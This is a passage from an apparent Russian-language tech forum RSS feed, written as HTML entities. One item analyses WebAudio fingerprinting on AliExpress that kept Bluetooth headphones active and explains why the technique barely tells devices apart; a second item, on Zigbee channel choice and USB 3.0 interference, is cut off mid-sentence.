&#x432;&#x44B;&#x43A;&#x43B;&#x44E;&#x447;&#x430;&#x435;&#x442; Web Audio API &#x446;&#x435;&#x43B;&#x438;&#x43A;&#x43E;&#x43C; (&#x431;&#x430;&#x433; Mozilla 1708593). &#x41F;&#x43B;&#x430;&#x442;&#x43E;&#x439; &#x441;&#x442;&#x430;&#x43D;&#x443;&#x442; &#x43F;&#x43E;&#x43B;&#x43E;&#x43C;&#x430;&#x43D;&#x43D;&#x44B;&#x435; &#x43E;&#x431;&#x44B;&#x447;&#x43D;&#x44B;&#x435; &#x441;&#x442;&#x440;&#x430;&#x43D;&#x438;&#x446;&#x44B; &#x438; &#x43F;&#x43E;&#x432;&#x44B;&#x448;&#x435;&#x43D;&#x43D;&#x430;&#x44F; &#x437;&#x430;&#x43C;&#x435;&#x442;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x43F;&#x440;&#x43E;&#x444;&#x438;&#x43B;&#x44F; &#x43F;&#x43E; &#x434;&#x440;&#x443;&#x433;&#x438;&#x43C; &#x43F;&#x440;&#x438;&#x437;&#x43D;&#x430;&#x43A;&#x430;&#x43C;. 

&#x26D4; &#x422;&#x430;&#x43A; &#x434;&#x435;&#x43B;&#x430;&#x442;&#x44C; &#x43D;&#x435;&#x43B;&#x44C;&#x437;&#x44F; &#x411;&#x435;&#x441;&#x43F;&#x43E;&#x43B;&#x435;&#x437;&#x43D;&#x43E; &#x431;&#x43E;&#x440;&#x43E;&#x442;&#x44C;&#x441;&#x44F; &#x441; &#x441;&#x438;&#x43C;&#x43F;&#x442;&#x43E;&#x43C;&#x43E;&#x43C; &#x43D;&#x430; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x435; &#x441;&#x438;&#x441;&#x442;&#x435;&#x43C;&#x44B; &#x2014; &#x443;&#x431;&#x430;&#x432;&#x43B;&#x44F;&#x442;&#x44C; &#x433;&#x440;&#x43E;&#x43C;&#x43A;&#x43E;&#x441;&#x442;&#x44C;, &#x43E;&#x442;&#x441;&#x43E;&#x435;&#x434;&#x438;&#x43D;&#x44F;&#x442;&#x44C; &#x433;&#x430;&#x440;&#x43D;&#x438;&#x442;&#x443;&#x440;&#x443; &#x43E;&#x442; &#x43A;&#x43E;&#x43C;&#x43F;&#x44C;&#x44E;&#x442;&#x435;&#x440;&#x430;, &#x432;&#x440;&#x443;&#x447;&#x43D;&#x443;&#x44E; &#x43F;&#x435;&#x440;&#x435;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x44F;&#x442;&#x44C; &#x43F;&#x440;&#x438;&#x43E;&#x440;&#x438;&#x442;&#x435;&#x442;&#x44B; &#x443;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x441;&#x442;&#x432;. &#x41F;&#x43E;&#x442;&#x43E;&#x43A; &#x43E;&#x441;&#x442;&#x430;&#x451;&#x442;&#x441;&#x44F; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x43C; &#x43F;&#x440;&#x438; &#x43B;&#x44E;&#x431;&#x43E;&#x43C; &#x438;&#x437; &#x44D;&#x442;&#x438;&#x445; &#x434;&#x435;&#x439;&#x441;&#x442;&#x432;&#x438;&#x439;, &#x437;&#x430;&#x440;&#x44F;&#x434; &#x43D;&#x430;&#x443;&#x448;&#x43D;&#x438;&#x43A;&#x43E;&#x432; &#x43F;&#x440;&#x43E;&#x434;&#x43E;&#x43B;&#x436;&#x430;&#x435;&#x442; &#x443;&#x445;&#x43E;&#x434;&#x438;&#x442;&#x44C;, &#x430; &#x438;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A; &#x43F;&#x440;&#x43E;&#x431;&#x43B;&#x435;&#x43C;&#x44B; &#x43D;&#x438;&#x43A;&#x443;&#x434;&#x430; &#x43D;&#x435; &#x434;&#x435;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F;. 

&#x418; &#x432;&#x441;&#x451;-&#x442;&#x430;&#x43A;&#x438; &#x441;&#x430;&#x43C; &#x43E;&#x442;&#x43F;&#x435;&#x447;&#x430;&#x442;&#x43E;&#x43A; &#x43C;&#x451;&#x440;&#x442;&#x432;

&#x41F;&#x43E;&#x447;&#x442;&#x438; &#x432;&#x441;&#x44F; &#x430;&#x443;&#x434;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x44F; &#x443;&#x43A;&#x43B;&#x430;&#x434;&#x44B;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x432; &#x442;&#x440;&#x438; &#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x438;&#x44F; &#x2014; &#x440;&#x430;&#x437;&#x43B;&#x438;&#x447;&#x430;&#x442;&#x44C; &#x43F;&#x43E; &#x43D;&#x438;&#x43C; &#x43D;&#x435;&#x43A;&#x43E;&#x433;&#x43E;

&#x421;&#x44E;&#x436;&#x435;&#x442; &#x43D;&#x430;&#x43F;&#x440;&#x430;&#x448;&#x438;&#x432;&#x430;&#x43B;&#x441;&#x44F; &#x43D;&#x430; &#x432;&#x44B;&#x432;&#x43E;&#x434; &#x432; &#x434;&#x443;&#x445;&#x435; &#xAB;WebAudio &#x438;&#x434;&#x451;&#x442; &#x43D;&#x430; &#x441;&#x43C;&#x435;&#x43D;&#x443; canvas, &#x441;&#x440;&#x43E;&#x447;&#x43D;&#x43E; &#x437;&#x430;&#x449;&#x438;&#x449;&#x430;&#x435;&#x43C;&#x441;&#x44F;&#xBB;. &#x414;&#x43E; &#x43D;&#x435;&#x433;&#x43E; &#x434;&#x435;&#x43B;&#x43E; &#x43D;&#x435; &#x434;&#x43E;&#x448;&#x43B;&#x43E;, &#x438; &#x44D;&#x442;&#x43E; &#x43A; &#x43B;&#x443;&#x447;&#x448;&#x435;&#x43C;&#x443;: &#x441;&#x443;&#x442;&#x43A;&#x438; &#x441;&#x43F;&#x443;&#x441;&#x442;&#x44F; &#x422;&#x43E;&#x43C; &#x420;&#x438;&#x442;&#x442;&#x435;&#x440; &#x438;&#x437; Mozilla &#x432;&#x44B;&#x43B;&#x43E;&#x436;&#x438;&#x43B; &#x442;&#x435;&#x43B;&#x435;&#x43C;&#x435;&#x442;&#x440;&#x438;&#x44E; &#x43F;&#x43E; &#x442;&#x43E;&#x43C;&#x443; &#x441;&#x430;&#x43C;&#x43E;&#x43C;&#x443; &#x43F;&#x440;&#x438;&#x437;&#x43D;&#x430;&#x43A;&#x443;. 

&#x420;&#x430;&#x441;&#x43F;&#x440;&#x435;&#x434;&#x435;&#x43B;&#x435;&#x43D;&#x438;&#x435; &#x442;&#x430;&#x43A;&#x43E;&#x435;: &#x432; &#x43E;&#x434;&#x43D;&#x43E; &#x438;&#x437; &#x442;&#x440;&#x451;&#x445; &#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x438;&#x439; &#x443;&#x43A;&#x43B;&#x430;&#x434;&#x44B;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; 99,24 % &#x430;&#x443;&#x434;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x438;, &#x43E;&#x441;&#x442;&#x430;&#x432;&#x448;&#x438;&#x435;&#x441;&#x44F; 0,76 % &#x2014; &#x44D;&#x442;&#x43E; &#x43F;&#x440;&#x43E;&#x432;&#x430;&#x43B;&#x438;&#x432;&#x448;&#x438;&#x439;&#x441;&#x44F; &#x441;&#x431;&#x43E;&#x440;, &#x433;&#x434;&#x435; &#x432;&#x435;&#x440;&#x43D;&#x443;&#x43B;&#x441;&#x44F; &#x43D;&#x43E;&#x43B;&#x44C;. &#x425;&#x432;&#x43E;&#x441;&#x442; &#x441;&#x43E;&#x441;&#x442;&#x43E;&#x438;&#x442; &#x438;&#x437; 23 &#x43F;&#x440;&#x43E;&#x447;&#x438;&#x445; &#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x438;&#x439; &#x43D;&#x430; 48 &#x447;&#x435;&#x43B;&#x43E;&#x432;&#x435;&#x43A;. &#x417;&#x430; &#x442;&#x440;&#x43E;&#x439;&#x43A;&#x43E;&#x439; &#x43B;&#x438;&#x434;&#x435;&#x440;&#x43E;&#x432; &#x441;&#x442;&#x43E;&#x44F;&#x442; &#x442;&#x440;&#x438; &#x43A;&#x43B;&#x430;&#x441;&#x441;&#x430; &#x43F;&#x440;&#x43E;&#x446;&#x435;&#x441;&#x441;&#x43E;&#x440;&#x43E;&#x432;: x86 &#x438; x64 &#x431;&#x435;&#x437; FMA, x64 &#x441; FMA3, ARM &#x441; NEON. &#x41E;&#x442;&#x434;&#x430;&#x432;&#x430;&#x442;&#x44C; &#x43F;&#x43E;&#x441;&#x442;&#x43E;&#x44F;&#x43D;&#x43D;&#x44B;&#x435; &#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x438;&#x44F; WebAudio Firefox &#x43D;&#x430;&#x447;&#x430;&#x43B; &#x432; 118-&#x439; &#x432;&#x435;&#x440;&#x441;&#x438;&#x438; &#x43E;&#x442; 26 &#x441;&#x435;&#x43D;&#x442;&#x44F;&#x431;&#x440;&#x44F; 2023 &#x433;&#x43E;&#x434;&#x430;, &#x430; Chrome &#x432;&#x432;&#x451;&#x43B; &#x441;&#x43E;&#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x438;&#x43C;&#x44B;&#x435; &#x43E;&#x433;&#x440;&#x430;&#x43D;&#x438;&#x447;&#x435;&#x43D;&#x438;&#x44F; &#x435;&#x449;&#x451; &#x440;&#x430;&#x43D;&#x44C;&#x448;&#x435;. &#x424;&#x43E;&#x440;&#x43C;&#x443;&#x43B;&#x438;&#x440;&#x43E;&#x432;&#x43A;&#x430; &#x420;&#x438;&#x442;&#x442;&#x435;&#x440;&#x430; &#x2014; &#x437;&#x432;&#x443;&#x43A;&#x43E;&#x432;&#x43E;&#x439; &#x43E;&#x442;&#x43F;&#x435;&#x447;&#x430;&#x442;&#x43E;&#x43A; &#xAB;&#x43F;&#x43E;&#x447;&#x442;&#x438; &#x431;&#x435;&#x441;&#x43F;&#x43E;&#x43B;&#x435;&#x437;&#x435;&#x43D;&#xBB;. 

&#x2757; &#x413;&#x43B;&#x430;&#x432;&#x43D;&#x43E;&#x435; &#x414;&#x432;&#x430; &#x441;&#x44E;&#x436;&#x435;&#x442;&#x430; &#x432;&#x430;&#x436;&#x43D;&#x43E; &#x43D;&#x435; &#x441;&#x43C;&#x435;&#x448;&#x438;&#x432;&#x430;&#x442;&#x44C;. &#x41A;&#x430;&#x43D;&#x430;&#x43B; &#x443;&#x442;&#x435;&#x447;&#x43A;&#x438; &#x44D;&#x43D;&#x442;&#x440;&#x43E;&#x43F;&#x438;&#x438; &#x447;&#x435;&#x440;&#x435;&#x437; WebAudio &#x441;&#x43E;&#x432;&#x440;&#x435;&#x43C;&#x435;&#x43D;&#x43D;&#x44B;&#x43C;&#x438; &#x431;&#x440;&#x430;&#x443;&#x437;&#x435;&#x440;&#x430;&#x43C;&#x438; &#x43F;&#x435;&#x440;&#x435;&#x43A;&#x440;&#x44B;&#x442;, &#x438; &#x43D;&#x430; &#x440;&#x430;&#x437;&#x43B;&#x438;&#x447;&#x435;&#x43D;&#x438;&#x435; &#x443;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x441;&#x442;&#x432; &#x43E;&#x43D; &#x43F;&#x43E;&#x447;&#x442;&#x438; &#x43D;&#x435; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x435;&#x442;. &#x417;&#x430;&#x442;&#x43E; &#x432;&#x43E;&#x437;&#x43C;&#x43E;&#x436;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x441;&#x442;&#x440;&#x430;&#x43D;&#x438;&#x446;&#x44B; &#x431;&#x435;&#x437; &#x43F;&#x440;&#x435;&#x434;&#x443;&#x43F;&#x440;&#x435;&#x436;&#x434;&#x435;&#x43D;&#x438;&#x44F; &#x437;&#x430;&#x43D;&#x44F;&#x442;&#x44C; &#x437;&#x432;&#x443;&#x43A;&#x43E;&#x432;&#x43E;&#x435; &#x443;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x441;&#x442;&#x432;&#x43E; &#x438; &#x443;&#x434;&#x435;&#x440;&#x436;&#x438;&#x432;&#x430;&#x442;&#x44C; Bluetooth-&#x43A;&#x430;&#x43D;&#x430;&#x43B; &#x441;&#x43E;&#x445;&#x440;&#x430;&#x43D;&#x438;&#x43B;&#x430;&#x441;&#x44C; &#x43F;&#x43E;&#x43B;&#x43D;&#x43E;&#x441;&#x442;&#x44C;&#x44E; &#x2014; &#x430; &#x440;&#x430;&#x441;&#x43F;&#x43B;&#x430;&#x447;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x437;&#x430; &#x43D;&#x435;&#x451; &#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x43E;&#x432;&#x430;&#x442;&#x435;&#x43B;&#x44C; &#x431;&#x430;&#x442;&#x430;&#x440;&#x435;&#x435;&#x439; &#x433;&#x430;&#x440;&#x43D;&#x438;&#x442;&#x443;&#x440;&#x44B; &#x438; &#x441;&#x43B;&#x43E;&#x43C;&#x430;&#x43D;&#x43D;&#x44B;&#x43C; &#x43F;&#x435;&#x440;&#x435;&#x43A;&#x43B;&#x44E;&#x447;&#x435;&#x43D;&#x438;&#x435;&#x43C;, &#x432;&#x43D;&#x435; &#x437;&#x430;&#x432;&#x438;&#x441;&#x438;&#x43C;&#x43E;&#x441;&#x442;&#x438; &#x43E;&#x442; &#x438;&#x441;&#x445;&#x43E;&#x434;&#x43D;&#x44B;&#x445; &#x43C;&#x43E;&#x442;&#x438;&#x432;&#x43E;&#x432;. 

&#x423;&#x43D;&#x438;&#x432;&#x435;&#x440;&#x441;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x439; &#x437;&#x430;&#x449;&#x438;&#x442;&#x44B; &#x442;&#x443;&#x442; &#x43D;&#x435; &#x43F;&#x43E;&#x44F;&#x432;&#x438;&#x442;&#x441;&#x44F; &#x434;&#x43E; &#x442;&#x435;&#x445; &#x43F;&#x43E;&#x440;, &#x43F;&#x43E;&#x43A;&#x430; &#x43F;&#x43E;&#x434;&#x43A;&#x43B;&#x44E;&#x447;&#x435;&#x43D;&#x438;&#x435; &#x443;&#x437;&#x43B;&#x430; &#x43A; destination &#x43D;&#x435; &#x441;&#x442;&#x430;&#x43D;&#x435;&#x442; &#x434;&#x43B;&#x44F; &#x431;&#x440;&#x430;&#x443;&#x437;&#x435;&#x440;&#x43E;&#x432; &#x441;&#x43E;&#x431;&#x44B;&#x442;&#x438;&#x435;&#x43C;, &#x437;&#x430;&#x441;&#x43B;&#x443;&#x436;&#x438;&#x432;&#x430;&#x44E;&#x449;&#x438;&#x43C; &#x438;&#x43D;&#x434;&#x438;&#x43A;&#x430;&#x442;&#x43E;&#x440;&#x430;. &#x420;&#x43E;&#x432;&#x43D;&#x43E; &#x44D;&#x442;&#x443; &#x43C;&#x44B;&#x441;&#x43B;&#x44C; &#x438; &#x444;&#x43E;&#x440;&#x43C;&#x443;&#x43B;&#x438;&#x440;&#x443;&#x435;&#x442; &#x420;&#x438;&#x442;&#x442;&#x435;&#x440;: &#x43D;&#x430;&#x441;&#x442;&#x43E;&#x440;&#x430;&#x436;&#x438;&#x432;&#x430;&#x435;&#x442; &#x43D;&#x435; &#x441;&#x430;&#x43C;&#x430; &#x442;&#x435;&#x445;&#x43D;&#x438;&#x43A;&#x430;, &#x430; &#x435;&#x451; &#x43D;&#x435;&#x43D;&#x430;&#x431;&#x43B;&#x44E;&#x434;&#x430;&#x435;&#x43C;&#x43E;&#x441;&#x442;&#x44C;. 



&#x418;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x438;


m-c-tech. AliExpress webpage keeping multipoint Bluetooth headphones active with WebAudio fingerprinting, 20.08.2026
Tom Ritter (Mozilla). WebAudio fingerprinting on Alibaba
&#x41E;&#x431;&#x441;&#x443;&#x436;&#x434;&#x435;&#x43D;&#x438;&#x435; &#x43D;&#x430; Hacker News
AdguardFilters, issue #199162 &#x2014; aliexpress.com
Bugzilla 1708593 &#x2014; Disable Web Audio when privacy.resistFingerprinting is enabled
MDN: Firefox 118 release notes


&#x1F4AC; &#x412;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x43A; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x441;&#x442;&#x432;&#x443; &#x412;&#x435;&#x434;&#x451;&#x442; &#x43B;&#x438; &#x441;&#x435;&#x431;&#x44F; &#x43C;&#x443;&#x43B;&#x44C;&#x442;&#x438;&#x43F;&#x43E;&#x439;&#x43D;&#x442; &#x43F;&#x440;&#x435;&#x434;&#x441;&#x43A;&#x430;&#x437;&#x443;&#x435;&#x43C;&#x43E; &#x443; &#x432;&#x430;&#x441;? &#x425;&#x43E;&#x447;&#x435;&#x442;&#x441;&#x44F; &#x441;&#x43E;&#x431;&#x440;&#x430;&#x442;&#x44C; &#x43F;&#x435;&#x440;&#x435;&#x447;&#x435;&#x43D;&#x44C; &#x441;&#x430;&#x439;&#x442;&#x43E;&#x432;, &#x43F;&#x43E;&#x441;&#x43B;&#x435; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x445; &#x433;&#x430;&#x440;&#x43D;&#x438;&#x442;&#x443;&#x440;&#x430; &#x43D;&#x430;&#x43C;&#x435;&#x440;&#x442;&#x432;&#x43E; &#x43E;&#x441;&#x442;&#x430;&#x451;&#x442;&#x441;&#x44F; &#x43D;&#x430; &#x43A;&#x43E;&#x43C;&#x43F;&#x44C;&#x44E;&#x442;&#x435;&#x440;&#x435;. &#x41F;&#x43E;&#x439;&#x43C;&#x430;&#x43B;&#x438; &#x442;&#x430;&#x43A;&#x43E;&#x439; &#x2014; &#x43F;&#x43E;&#x432;&#x435;&#x441;&#x44C;&#x442;&#x435; &#x43F;&#x435;&#x440;&#x435;&#x445;&#x432;&#x430;&#x442;&#x447;&#x438;&#x43A; AudioContext &#x438;&#x437; &#x43F;&#x435;&#x440;&#x432;&#x43E;&#x433;&#x43E; &#x440;&#x430;&#x437;&#x434;&#x435;&#x43B;&#x430; &#x438; &#x43F;&#x43E;&#x43A;&#x430;&#x436;&#x438;&#x442;&#x435; &#x441;&#x442;&#x435;&#x43A; &#x432;&#x44B;&#x437;&#x43E;&#x432;&#x43E;&#x432;.</description><pubDate>Sat, 22 Aug 2026 08:13:08 +0000</pubDate></item><item><title>Zigbee &#x441;&#x44B;&#x43F;&#x435;&#x442;&#x441;&#x44F;: &#x43F;&#x43E;&#x447;&#x435;&#x43C;&#x443; &#x441;&#x43E;&#x432;&#x435;&#x442; &#xAB;&#x443;&#x439;&#x442;&#x438; &#x43D;&#x430; 26-&#x439; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#xBB; &#x447;&#x430;&#x449;&#x435; &#x432;&#x440;&#x435;&#x434;&#x438;&#x442;, &#x447;&#x435;&#x43C; &#x43F;&#x43E;&#x43C;&#x43E;&#x433;&#x430;&#x435;&#x442;</title><link><![CDATA[https://openode.xyz/topic/2052-zigbee-%D1%81%D1%8B%D0%BF%D0%B5%D1%82%D1%81%D1%8F-%D0%BF%D0%BE%D1%87%D0%B5%D0%BC%D1%83-%D1%81%D0%BE%D0%B2%D0%B5%D1%82-%C2%AB%D1%83%D0%B9%D1%82%D0%B8-%D0%BD%D0%B0-26-%D0%B9-%D0%BA%D0%B0%D0%BD%D0%B0%D0%BB%C2%BB-%D1%87%D0%B0%D1%89%D0%B5-%D0%B2%D1%80%D0%B5%D0%B4%D0%B8%D1%82-%D1%87%D0%B5%D0%BC-%D0%BF%D0%BE%D0%BC%D0%BE%D0%B3%D0%B0%D0%B5%D1%82/?do=findComment&comment=9222]]></link><description>&#x428;&#x435;&#x441;&#x442;&#x43D;&#x430;&#x434;&#x446;&#x430;&#x442;&#x44C; &#x443;&#x437;&#x43A;&#x438;&#x445; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x43E;&#x432; 802.15.4 &#x43F;&#x440;&#x43E;&#x442;&#x438;&#x432; &#x442;&#x440;&#x451;&#x445; &#x448;&#x438;&#x440;&#x43E;&#x43A;&#x438;&#x445; &#x43F;&#x43E;&#x43B;&#x43E;&#x441; Wi-Fi

&#x421;&#x446;&#x435;&#x43D;&#x430;&#x440;&#x438;&#x439; &#x437;&#x43D;&#x430;&#x43A;&#x43E;&#x43C; &#x432;&#x441;&#x435;&#x43C;, &#x43A;&#x442;&#x43E; &#x441;&#x43E;&#x431;&#x438;&#x440;&#x430;&#x43B; &#x443;&#x43C;&#x43D;&#x44B;&#x439; &#x434;&#x43E;&#x43C; &#x43D;&#x430; Zigbee: &#x43F;&#x430;&#x440;&#x430; &#x443;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x441;&#x442;&#x432; &#x43D;&#x430; &#x43A;&#x440;&#x430;&#x44E; &#x43F;&#x43E;&#x43A;&#x440;&#x44B;&#x442;&#x438;&#x44F; &#x43E;&#x442;&#x432;&#x435;&#x447;&#x430;&#x435;&#x442; &#x447;&#x435;&#x440;&#x435;&#x437; &#x440;&#x430;&#x437;, &#x440;&#x435;&#x43B;&#x435; &#x449;&#x451;&#x43B;&#x43A;&#x430;&#x435;&#x442; &#x441; &#x437;&#x430;&#x434;&#x435;&#x440;&#x436;&#x43A;&#x43E;&#x439; &#x432; &#x43D;&#x435;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x441;&#x435;&#x43A;&#x443;&#x43D;&#x434;, &#x430; &#x436;&#x443;&#x440;&#x43D;&#x430;&#x43B; &#x43A;&#x43E;&#x43E;&#x440;&#x434;&#x438;&#x43D;&#x430;&#x442;&#x43E;&#x440;&#x430; &#x43F;&#x435;&#x441;&#x442;&#x440;&#x438;&#x442; &#x43F;&#x43E;&#x442;&#x435;&#x440;&#x44F;&#x43D;&#x43D;&#x44B;&#x43C;&#x438; &#x43F;&#x430;&#x43A;&#x435;&#x442;&#x430;&#x43C;&#x438;. &#x41F;&#x435;&#x440;&#x432;&#x43E;&#x435;, &#x447;&#x442;&#x43E; &#x43F;&#x43E;&#x434;&#x441;&#x43A;&#x430;&#x436;&#x443;&#x442; &#x432; &#x43B;&#x44E;&#x431;&#x43E;&#x43C; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x441;&#x442;&#x432;&#x435;, &#x2014; &#x43F;&#x435;&#x440;&#x435;&#x435;&#x445;&#x430;&#x442;&#x44C; &#x43F;&#x43E;&#x432;&#x44B;&#x448;&#x435; &#x43F;&#x43E; &#x43D;&#x43E;&#x43C;&#x435;&#x440;&#x430;&#x43C; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x43E;&#x432;, &#x43A; 25-&#x43C;&#x443; &#x438;&#x43B;&#x438; 26-&#x43C;&#x443;, &#x433;&#x434;&#x435; Wi-Fi &#x44F;&#x43A;&#x43E;&#x431;&#x44B; &#x43D;&#x435;&#x442;. 

&#x41F;&#x440;&#x435;&#x434;&#x43F;&#x43E;&#x441;&#x44B;&#x43B;&#x43A;&#x430; &#x443; &#x441;&#x43E;&#x432;&#x435;&#x442;&#x430; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x44C;&#x43D;&#x430;&#x44F;, &#x432;&#x44B;&#x432;&#x43E;&#x434; &#x2014; &#x43D;&#x435;&#x442;. &#x41D;&#x438;&#x436;&#x435; &#x440;&#x430;&#x437;&#x43E;&#x431;&#x440;&#x430;&#x43D;&#x43E;, &#x447;&#x442;&#x43E; &#x43D;&#x430; &#x44D;&#x442;&#x43E;&#x442; &#x441;&#x447;&#x451;&#x442; &#x441;&#x43A;&#x430;&#x437;&#x430;&#x43D;&#x43E; &#x443; NXP, Texas Instruments, &#x432; &#x434;&#x43E;&#x43A;&#x430;&#x445; Zigbee2MQTT &#x438; Home Assistant, &#x438; &#x432; &#x43A;&#x430;&#x43A;&#x43E;&#x43C; &#x43F;&#x43E;&#x440;&#x44F;&#x434;&#x43A;&#x435; &#x438;&#x43C;&#x435;&#x435;&#x442; &#x441;&#x43C;&#x44B;&#x441;&#x43B; &#x447;&#x438;&#x43D;&#x438;&#x442;&#x44C; &#x441;&#x435;&#x442;&#x44C;. 

&#x41F;&#x43E;&#x43B;&#x43C;&#x435;&#x442;&#x440;&#x430; &#x43A;&#x430;&#x431;&#x435;&#x43B;&#x44F; &#x440;&#x435;&#x448;&#x430;&#x44E;&#x442; &#x447;&#x430;&#x449;&#x435;, &#x447;&#x435;&#x43C; &#x43D;&#x43E;&#x43C;&#x435;&#x440; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x430;

&#x41D;&#x430;&#x447;&#x430;&#x442;&#x44C; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x43D;&#x435; &#x441;&#x43E; &#x441;&#x43F;&#x435;&#x43A;&#x442;&#x440;&#x430;. &#x428;&#x438;&#x43D;&#x430; USB 3.0 &#x438;&#x437;&#x43B;&#x443;&#x447;&#x430;&#x435;&#x442; &#x448;&#x438;&#x440;&#x43E;&#x43A;&#x43E;&#x43F;&#x43E;&#x43B;&#x43E;&#x441;&#x43D;&#x443;&#x44E; &#x43F;&#x43E;&#x43C;&#x435;&#x445;&#x443; &#x440;&#x43E;&#x432;&#x43D;&#x43E; &#x432; &#x443;&#x447;&#x430;&#x441;&#x442;&#x43A;&#x435; 2,4&#x2013;2,5 &#x413;&#x413;&#x446; &#x2014; &#x44F;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x435; &#x437;&#x430;&#x434;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x43D;&#x43E; &#x432; &#x43C;&#x430;&#x442;&#x435;&#x440;&#x438;&#x430;&#x43B;&#x435; USB-IF, &#x43A; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x43E;&#x43C;&#x443; &#x43F;&#x440;&#x43E;&#x438;&#x437;&#x432;&#x43E;&#x434;&#x438;&#x442;&#x435;&#x43B;&#x438; &#x436;&#x435;&#x43B;&#x435;&#x437;&#x430; &#x43E;&#x442;&#x441;&#x44B;&#x43B;&#x430;&#x44E;&#x442; &#x443;&#x436;&#x435; &#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x435; &#x434;&#x435;&#x441;&#x44F;&#x442;&#x438; &#x43B;&#x435;&#x442;. &#x421;&#x432;&#x438;&#x441;&#x442;&#x43E;&#x43A;-&#x43A;&#x43E;&#x43E;&#x440;&#x434;&#x438;&#x43D;&#x430;&#x442;&#x43E;&#x440;, &#x432;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x435;&#x43D;&#x43D;&#x44B;&#x439; &#x432;&#x43F;&#x43B;&#x43E;&#x442;&#x43D;&#x443;&#x44E; &#x43A; &#x43F;&#x43E;&#x440;&#x442;&#x443; USB 3.0 &#x438;&#x43B;&#x438; &#x43A; &#x440;&#x430;&#x437;&#x44A;&#x451;&#x43C;&#x443; &#x432;&#x43D;&#x435;&#x448;&#x43D;&#x435;&#x433;&#x43E; SSD, &#x43F;&#x43E;&#x43F;&#x440;&#x43E;&#x441;&#x442;&#x443; &#x437;&#x430;&#x433;&#x43B;&#x443;&#x448;&#x430;&#x435;&#x442; &#x441;&#x43E;&#x431;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x44B;&#x439; &#x43F;&#x440;&#x438;&#x451;&#x43C;&#x43D;&#x438;&#x43A;. 

&#x412; &#x434;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x446;&#x438;&#x438; Zigbee2MQTT &#x44D;&#x442;&#x43E; &#x441;&#x43A;&#x430;&#x437;&#x430;&#x43D;&#x43E; &#x43F;&#x440;&#x44F;&#x43C;&#x44B;&#x43C; &#x442;&#x435;&#x43A;&#x441;&#x442;&#x43E;&#x43C;: &#x430;&#x434;&#x430;&#x43F;&#x442;&#x435;&#x440;, &#x441;&#x442;&#x43E;&#x44F;&#x449;&#x438;&#x439; &#x432;&#x43F;&#x43B;&#x43E;&#x442;&#x43D;&#x443;&#x44E; &#x43A; &#x43F;&#x43E;&#x440;&#x442;&#x443; USB &#x438;&#x43B;&#x438; HDMI, &#x441;&#x43F;&#x43E;&#x441;&#x43E;&#x431;&#x435;&#x43D; &#x443;&#x43D;&#x438;&#x447;&#x442;&#x43E;&#x436;&#x438;&#x442;&#x44C; &#x440;&#x430;&#x434;&#x438;&#x43E;&#x441;&#x432;&#x44F;&#x437;&#x44C; &#x446;&#x435;&#x43B;&#x438;&#x43A;&#x43E;&#x43C;, &#x442;&#x43E;&#x433;&#x434;&#x430; &#x43A;&#x430;&#x43A; &#x443;&#x434;&#x43B;&#x438;&#x43D;&#x438;&#x442;&#x435;&#x43B;&#x44F; &#x434;&#x43B;&#x438;&#x43D;&#x43E;&#x439; 50 &#x441;&#x43C; &#x445;&#x432;&#x430;&#x442;&#x430;&#x435;&#x442;, &#x447;&#x442;&#x43E;&#x431;&#x44B; &#x43F;&#x43E;&#x43C;&#x435;&#x445;&#x430; &#x437;&#x430;&#x43C;&#x435;&#x442;&#x43D;&#x43E; &#x443;&#x43F;&#x430;&#x43B;&#x430;. &#x423; ZHA &#x444;&#x43E;&#x440;&#x43C;&#x443;&#x43B;&#x438;&#x440;&#x43E;&#x432;&#x43A;&#x430; &#x43F;&#x43E;&#x445;&#x43E;&#x436;&#x430;&#x44F;: &#x43F;&#x43E;&#x440;&#x442;&#x43E;&#x432; USB 3.0 &#x43B;&#x443;&#x447;&#x448;&#x435; &#x438;&#x437;&#x431;&#x435;&#x433;&#x430;&#x442;&#x44C; &#x432;&#x43E;&#x432;&#x441;&#x435;, &#x430; &#x430;&#x434;&#x430;&#x43F;&#x442;&#x435;&#x440; 